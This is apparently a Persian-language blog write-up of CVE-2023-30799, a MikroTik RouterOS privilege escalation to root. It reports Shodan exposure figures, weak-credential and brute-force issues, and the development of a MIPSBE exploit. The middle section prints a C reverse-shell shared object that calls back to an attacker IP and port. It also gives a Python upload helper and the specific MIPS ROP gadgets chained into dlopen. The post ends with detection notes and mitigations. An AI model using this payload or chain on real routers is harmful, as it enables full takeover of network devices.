روترهای MikroTik RouterOS Long-term تا نسخه 6.49.8 (July 20, 2023) ، دارای یه آسیب پذیری به شناسه CVE-2023-30799 هستن که به یه مهاجم راه دور و احرازهویت شده امکان دسترسی به root shell در روتر رو میده.
آسیب پذیری CVE-2023-30799 برای اولین بار ، بدون اینکه CVE بگیره، در ژوئن 2022 در کنفرانس REcon و توسط محققین Margin Research افشاء شد. اون زمان اینا یه اکسپلویت بنام FOISted توسعه داده بودن که میتونست یه root shell روی ماشین مجازی RouterOS x86 بده.
میکروتیک از این مشکل آگاه بوده و در اکتبر 2022، در نسخه RouterOS stable (6.49.7) ، اونو اصلاح کرده، اما در گزارشات نسخه هاش در خصوص این آسیب پذیری امنیتی صحبت نکرده و فقط بصورت زیر یه اشاره ای بهش کرده بود :
1 |
*) system - improved handling of user policies; |
محققای VulnCheck روی این اکسپلویت کار کردن و تونستن اونو روی معماری محبوب MIPSBE هم توسعه بدن، در نتیجه میکروتیک مجبور شده یه CVE براش اختصاص بده. در حقیقت قبلا یه ماشین مجازی فقط آسیب پذیر بود اما الان سخت افزار میکروتیک آسیب پذیر هستش.
بعد از گزارش محققای VulnCheck ، یه اصلاحیه هم برای RouterOS Long-term منتشر شده. در 18 جولای محققا با بررسی در شودان ، متوجه شدن که نسخه RouterOS Long-term 6.48.6 ، که اون زمان آخرین نسخه از این سری بوده، دومین نسخه پر طرفدار نصب شده میکروتیک هستش.
در مجموع، Shodan تقریباً 500000 و 900000 سیستم RouterOS آسیب پذیر به CVE-2023-30799 رو به ترتیب از طریق اینترفیس وب و/یا Winbox لیست کرده.
این نشون میده که آسیب پذیری میتونه ابعاد گسترده تری رو داشته باشه.
متاسفانه میکروتیک در ایران هم محبوب هستش و در نتیجه تاثیر این آسیب پذیری در کشور ما هم میتونه تاثیر گذاره باشه. با بررسی که روی شودان انجام دادم، از 500 هزار نتیجه 27722 موردش برای ایران هستش (براساس اینترفیس وب) که در این خصوص ایران رتبه چهارم دنیا رو داره :
و از 900 هزار مورد، 20,104 موردش از ایران هستش (براساس اینترفیس Winbox ) که رتبه پانزدهم رو به خودش اختصاص داده.
آسیب پذیری CVE-2023-30799 یه آسیب پذیری افزایش امتیاز از admin به super-admin هستش و برای همین نیاز به احراز هویت داره. محققا گفتن که اگرچه آسیب پذیری نیاز به احرازهویت داره اما نباید اونو ساده فرض کرد، چون بدست آوردن اعتبارنامه برای سیستم های میکروتیکی خیلی ساده هستش و در نتیجه این آسب پذیری خطرناک هستش.
RouterOS با یه کاربر پیش فرض admin ارائه میشه و در داکیومنتها توصیه شده که این کاربر برای امنیت بیشتر ، باید حذف بشه، اما میدونیم که خیلی از مدیران چنین کاری رو انجام نمیدن. این قضیه رو از اونجا میدونن که مکانیسم احرازهویت Winbox به یه باگ کلاسیک بنام observable response discrepancy (CWE-204) آسیب پذیر هستش.
آسیب پذیری CWE-204 اینجوریه که یه محصول ، رفتار متفاوتی به درخواستهای دریافتی نشون میده و در نتیجه مهاجم میتونه، از رفتار داخلی محصول اطلاعاتی رو کسب کنه. مثلا کد پرل زیر در نظر بگیرید:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
my $username=param('username'); my $password=param('password'); if (IsValidUsername($username) == 1) { if (IsValidPassword($username, $password) == 1) { print "Login Successful"; } else { print "Login Failed - incorrect password"; } } else { print "Login Failed - unknown username"; } |
مهاجم میتونه بفهمه که نام کاربری یا پسوردی که وارد کرده اشتباهه و در نتیجه میتونه نام کاربری یا پسورد رو بدست بیاره و حملات خودش رو هدفمندتر کنه.
در خصوص احرازهویت میکروتیک، اگه در حین احرازهویت، یه نام کاربری که وجود نداره، به سیستم داده بشه، سیستم پاسخ کوتاهتری رو ارسال میکنه. در نتیجه اگه در سیستمی یوزر admin نباشه، میشه فهمید.
محققا نمونه ای از هاست ها رو از Shodan با این کد بررسی کردن (n=5500) و متوجه شدن که نزدیک به 60٪ هنوز از کاربر پیش فرض admin استفاده می کنن.
حالا اینا یه طرف قضیه، طرف دیگه اینکه پسورد این کاربر پیش فرض تا نسخه RouterOS 6.49 (October 2021) یه رشته خالی بوده که بعدش RouterOS از مدیران میخواست که این پسورد رو تنظیم کنن. پسوردهایی هم که مدیران تنظیم میکنن، محدودیت براش نیست، یعنی یه مدیر میتونه مثلا پسورد 12345 رو براش تنظیم کنه. بدتر از اون اینکه سیستم به جز در اینترفیس SSH ، محافظی در برابر حملات بروت فورس هم نداره و اینکه یسری ابزار هم روی RouterOS API برای بروت فورس وجود داره (RouterOS API brute forcing) که بیش از یه دهه داره استفاده میشه. این قضیه رو میشه از طریق Greynoise مشاهده کرد.
در نتایج شودان روترهایی که سرویس APIشون از اینترنت قابل مشاهده هستش ، نسبت به روترهایی که اینترفیس وب یا Winbox قابل مشاهده هست، کمتره، حدودا 400 هزارتا. سهم ایران در نتایج شودان 18,766 مورد هستش که در رتبه ششم دنیا قرار داریم :
نکته ای که وجود داره اینه که ابزارهای بروت فروس روی اینترفیس وب یا Winbox از سال 2019 وجود داشته و وقتی میکروتیک در نسخه های RouterOS 6.45 مدل احرازهویت خودش رو تغییر داد، منسوخ شدن.
با این حال محققای Margin Research با مهندسی معکوس مکانیسم احرازهویت جدید موجب افزایش حملات بروت فروس روی اینترفیس وب هستیم. برای نشون دادن این قضیه، محققا از یه ابزار ساده بروت فورس (dictionary brute force tool) استفاده کردن و همونطور که در شکل زیر مشاهده میکنید، لاگ های روتر نشون دهنده حمله هستش.
همه این قضایا برای این بیان شد که نشون داده بشه که RouterOS چندین مشکل در احرازهویت داره و در نتیجه دور زدن فرایند احرازهویت کار سختی نیست.
اکسپلویت FOISted که توسط محققین Margin Research توسعه داده شده بود، فقط روی نسخه ماشین مجازی RouterOS x86 کار میکنه و این نسخه زیاد نصب نشده و طرفداران زیادی نداره. شاید برای همین قضیه بوده که میکروتیک، اهمیت زیادی به این آسیب پذیری نشون نداده. اگه اکسپلویت FOISted برای سخت افزار میکروتیک توسعه داده میشد، سروصدای زیادی میتونست داشته باشه.
برای بدست آوردن root shell روی سخت افزار میکروتیک، روشهای عمومی زیادی وجود نداره. تا قبل از RouterOS 6.46 (2019) یسری روش وجود داشت، اما همشون منسوخ شدن. مثلا آسیب پذیری CVE-2021-41987 که از نوع heap buffer overflow بود، برای یه مدتی مورد استفاده قرار گرفت، البته اکسپلویت پابلیک نداشت، اما الان دو سال هستش که کنار گذاشته شد. همچنین در مسابقات pwn2own ، تیم DEVCORE با آسیب پذیری CVE-2023-32154 تونست این کار کنه که البته برای اکسپلویت نیاز به فعال بودن IPv6 و حضور مهاجم در همون شبکه بود. اکسپلویت اون هم عمومی نشد.
MIPSBE احتمالا محبوبترین معماری برای سخت افزارهای میکروتیک هستش. البته این کمپانی محصولاتی روی معماری MIPSLE، ARM و PowerPC هم داره. محققا میخواستن اکسپلویت رو روی معماری MIPSBE پیاده سازی کنن.
توسعه اکسپلویت در معماری MIPSBE :
اولین قدم برای انتقال اکسپلویت FOISted به معماری MIPSBE این بود که اونو ساده سازی کنن. عملکرد کلی اکسپلویت FOISted x86 اینطوری بوده که :
- از طریق FTP یه فایل اجرایی مرحله دوم (stage2) و یه busybox با لینک استاتیک ، آپلود میکنه.
- یه ROP Chain میسازه :
- با استفاده از write primitive ، در مکان مشخصی از مموری،
/flash/rw/disk/stage2
رو مینوسه. - آدرسهای chmod و execl رو در uclibc با استفاده از آفستهای close بدست میاره.
chmod(“/flash/rw/disk/stage2”, 777)
execve(“/flash/rw/disk/stage2”, NULL, NULL)
- با استفاده از write primitive ، در مکان مشخصی از مموری،
- Stage2 باعث قابل اجرا شدن، busybox آپلود شده ،میشه.
- Stage2 با اجرای busybox آپلود شده، یه bindshell میده.
Return Oriented Programming یا ROP یه تکنیک توسعه اکسپلویت هستش که در اون یسری کدهای اسمبلی که در مموری موجود هستن رو پشت سر هم زنجیر میکنن تا به یه عملکردی برسن. این کدهای اسمبلی رو اصطلاحا gadget میگن.
منظور از write primitive هم اینه که چیزی رو که شما میخوایید رو در یه جای مشخصی از حافظه بنویسید که در فرایند اکسپلویت استفاده میشه.
محققا برای ساده تر شدن قضیه، بجای استفاده از اجرایی Stage2 ، از یه shared object استفاده کردن. این باعث شده تا chmod حذف بشه و execve با dlopen جایگزین بشه.
dlopen امکان لوود فایل shared library رو فراهم میکنه و دو تا پارامتر میگیره که یکی یه رشته از مسیر فایلی که قراره اجرا بشه و یه پارامتر flags که نوع لوود رو مشخص میکنه .
1 |
void *dlopen(const char *filename, int flags); |
dlopen از طریق باینری آسیب پذیر (/nova/bin/www
) ارجاع داده میشه، بنابراین نیازی به محاسبه آفستها در uclibc نداریم. ما میتونیم کد دلخواه رو از طریق dlopen و با استفاده از ایجاد یه تابع با ویژگی سازنده (constructor attribute) ، اجرا کنیم، مانند نمونه زیر :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
#include <stdio.h> #include <unistd.h> #include <netinet/in.h> #include <arpa/inet.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/socket.h> static void before_main(void) __attribute__((constructor)); static void before_main(void) { chmod("/flash/rw/disk/busybox", 0777); struct sockaddr_in sa; int s; sa.sin_family = AF_INET; sa.sin_addr.s_addr = inet_addr("10.12.70.252"); sa.sin_port = htons(1270); s = socket(AF_INET, SOCK_STREAM, 0); connect(s, (struct sockaddr *)&sa, sizeof(sa)); dup2(s, 0); dup2(s, 1); dup2(s, 2); char * const argv[] = { "/flash/rw/disk/busybox", "ash", "-i", NULL }; execve("/flash/rw/disk/busybox", argv, NULL); } |
با اعمال این تغییرات اکسپلویت قبلی تبدیل به مورد زیر میشه:
- از طریق FTP یه فایل اجرایی مرحله دوم (stage2) و یه busybox با لینک استاتیک ، آپلود میکنه.
- یه ROP Chain میسازه :
- با استفاده از write primitive ، در مکان مشخصی از مموری، /flash/rw/disk/stage2 رو مینوسه.
- فراخوانی
dlopen(“/flash/rw/disk/stage2, 1)
- Stage2 باعث قابل اجرا شدن busybox آپلود شده میشه.
- Stage2 با اجرای busybox آپلود شده، یه bindshell میده.
اکسپلویت همچنان با چالش هایی روبرو هست و امکان اجرا در اغلب سناریوهای دنیای واقعی رو نداره. چرا :
- اغلب اهداف در دنیای واقعی، اینترفیس FTPشون رو در معرض دید قرار نمیدن.
- یه bindshell اغلب مسدود یا فیلتر میشه و قابل استفاده نیست.
حل دو چالش آسونه. با استفاده از اینترفیس وب RouterOS ، کاربر احرازهویت شده امکان آپلود فایل داره. با بررسی منطق آپلود، محققا تونستن یه تابع برای اون بنویسن و اونو به اکسپلویت webfig.py محققین Margin Research اضافه کنن :
1 2 3 4 5 6 7 8 9 10 11 12 |
def upload(self, filename: bytes, data: bytes): enc = self.tx.encrypt(filename) + self.tx.encrypt(b'\x20' * 8) enc = web_encode(enc) packed = self.tracker.pack(enc) param = urllib.parse.quote(packed) files = {'file': (filename, data)} r = requests.post(url = "http://" + self.host + "/jsproxy/upload?" + param, files=files) if r.status_code != 200: print(r.content) raise ValueError(f'Status code: {r.status_code}') |
مسئله bindshell رو هم با reverse shell حل کردن که در کد سی بالا قابل مشاهده هستش. این تغییر یه امتیاز دیگه هم داره که اگه مهاجم از شل خارج شد، www دوباره اونو باز میکنه و همچنین از ایجاد autosupout.rif هم جلوگیری میکنه.
فایل autosupout.rif ، یه فایلی هستش که اطلاعات روتر داخل اون ذخیره میشه و برای دیباگ و اشکالزدایی روتر در زمان پشتیبانی بخصوص مورد استفاده قرار میگیره.
تنها کاری که مونده اینه که بتونیم برای اکسپلویت خودمون MIPS gadget پیدا کنیم. با ساده تر کردن رویکرد کلی اکسپلویت، امکان پیدا کردن MIPS gadget ها هم ساده تر میشه و فقط یکمی با رجیسترهای MIPS بازی میکنیم. ساختار کلی ROP chain شامل موارد زیر میشه:
- انتقال $sp به داده های تحت کنترل مهاجم
- filename تحت کنترل مهاجم رو به $a0 انتقال بدید.
- فراخوانی dlopen
منظور از sp$ همون رجیستری stack pointer در معماری mips هستش. منظور از $a0 هم باز یه رجیستری MIPS هستش که برای ذخیره کردن آرگومانهای تابع و مقدار return استفاده میشه. با این اوصاف ROP chain ما اینجوری میشه که stack pointer به جایی که تحت کنترل مهاجم هست انتقال میدیم. بعدش با استفاده از dlopen فایلی که میخواییم رو اجرا کنیم. اما برای اجرای این تابع نیاز هستش که مسیر فایلمون رو در داخل رجیستری $a0 بنویسیم، چون dlopen پارامترهاش از اینجا میخونه.
این gadget هارو میشه بطور قابل اعتمادی در سه تابع main
و www::Server::get
و loadServlet
در همه نسخه های تست شده محققین 6.40 تا 6.49.6 پیدا کرد. منظور از قابل اعتماد بودن هم اینه که ، آدرسهای ای دستورات رو میشه بدون دردسر و محاسبه بدست آورد.
برای انتقال $sp به داده های تحت کنترل مهاجم میتونیم از قسمت epilogue تابع main استفاده کنیم :
1 2 3 4 5 6 |
0x0040acbc <+728>: lw ra,1540(sp) 0x0040acc0 <+732>: lw s1,1536(sp) 0x0040acc4 <+736>: lw s0,1532(sp) 0x0040acc8 <+740>: move v0,zero 0x0040accc <+744>: jr ra 0x0040acd0 <+748>: addiu sp,sp,1544 |
برای انتقال رشته (filename) تحت کنترل مهاجم به $a0 ، از قسمت epilogue تابع www::Server::get استفاده میکنیم:
1 2 3 4 5 6 7 8 9 10 |
0x0040c514 <+620>: addiu a0,sp,44 0x0040c518 <+624>: lw ra,76(sp) 0x0040c51c <+628>: move v0,s1 0x0040c520 <+632>: lw s4,72(sp) 0x0040c524 <+636>: lw s3,68(sp) 0x0040c528 <+640>: lw s2,64(sp) 0x0040c52c <+644>: lw s1,60(sp) 0x0040c530 <+648>: lw s0,56(sp) 0x0040c534 <+652>: jr ra 0x0040c538 <+656>: addiu sp,sp,80 |
در نهایت برای فراخوانی dlopen ، میتونیم از loadServlet استفاده کنیم:
1 2 |
0x00412480 <+344>: jal 0x4084a0 <dlopen@plt> 0x00412484 <+348>: addiu a0,a0,4 |
ترکیب موارد بالا یه ROP chain ساده ایجاد میکنه که یه shared object مخرب لوود میکنه و یه reverse shell رو به مهاجم میده.
تشخیص و پیشگیری :
همونطور که مشاهده کردید، اکسپلویت آسیب پذیری CVE-2023-30799 ،کار سختی نیست و با توجه به اینکه RouterOS مورد علاقه APTها هستش و اکسپلویت FOISted بیش از یه سالی هست که افشاء شده، باید این در نظر بگیریم که احتمالا در حملات مورد استفاده قرار میگیره یا قرار گرفته.
تشخیص اکسپلویت، میتونه اولین قدم برای محافظت از دستگاه باشه، اما متاسفانه تشخیص اون تقریبا غیرممکن هستش. اینترفیس های وب و Winbox به دلیل اینکه از رمزنگاری خاصی استفاده میکنن، نمیشه از طریق Snort یا Suricata رمزگشایی و بررسیشون کرد. وقتی مهاجم روی دستگاه مستقر شد، میتونه به سادگی خودش روی RouterOS UI مخفی کنه. مایکروسافت یسری ابزار منتشر کرده که تغییرات پیکربندی مخرب رو شناسایی میکنه، اما با توجه به اینکه مهاجم دسترسی root به سیستم داره، اصلا نیازی به تغییرات پیکربندی هم نیست.
بهترین زمان برای شناسایی مهاجم هنگام انجام حملات بروت فورس یا آپلود فایلهای ELF هستش. البته اینا هم باز مختص این آسیب پذیری نیستن.
در نهایت پیشگیری بهترین عمل در مواجه با این آسیب پذیری هستش. بهترین راه ارتقاء به نسخه های زیر هستش :
- 6.49.8 (stable)
- 7.x stable
اما اگه امکان ارتقاء رو ندارید ، راهکارهای زیر پیشنهاد میشه :
- اینترفیس های مدیریتی میکروتیک رو جوری پیکربندی کنید که از طریق اینترنت قابل مشاهده نباشن.
- آدرسهای IP که مدیران میتونن از طریق اون وارد دستگاه بشن رو محدود کنید
- اینترفیس های Winbox و وب رو غیرفعال کنید و فقط از SSH استفاده کنید.
- SSH رو جوری پیکربندی کنید که از public/private key استفاده کنه و پسوردهارو غیرفعال کنید.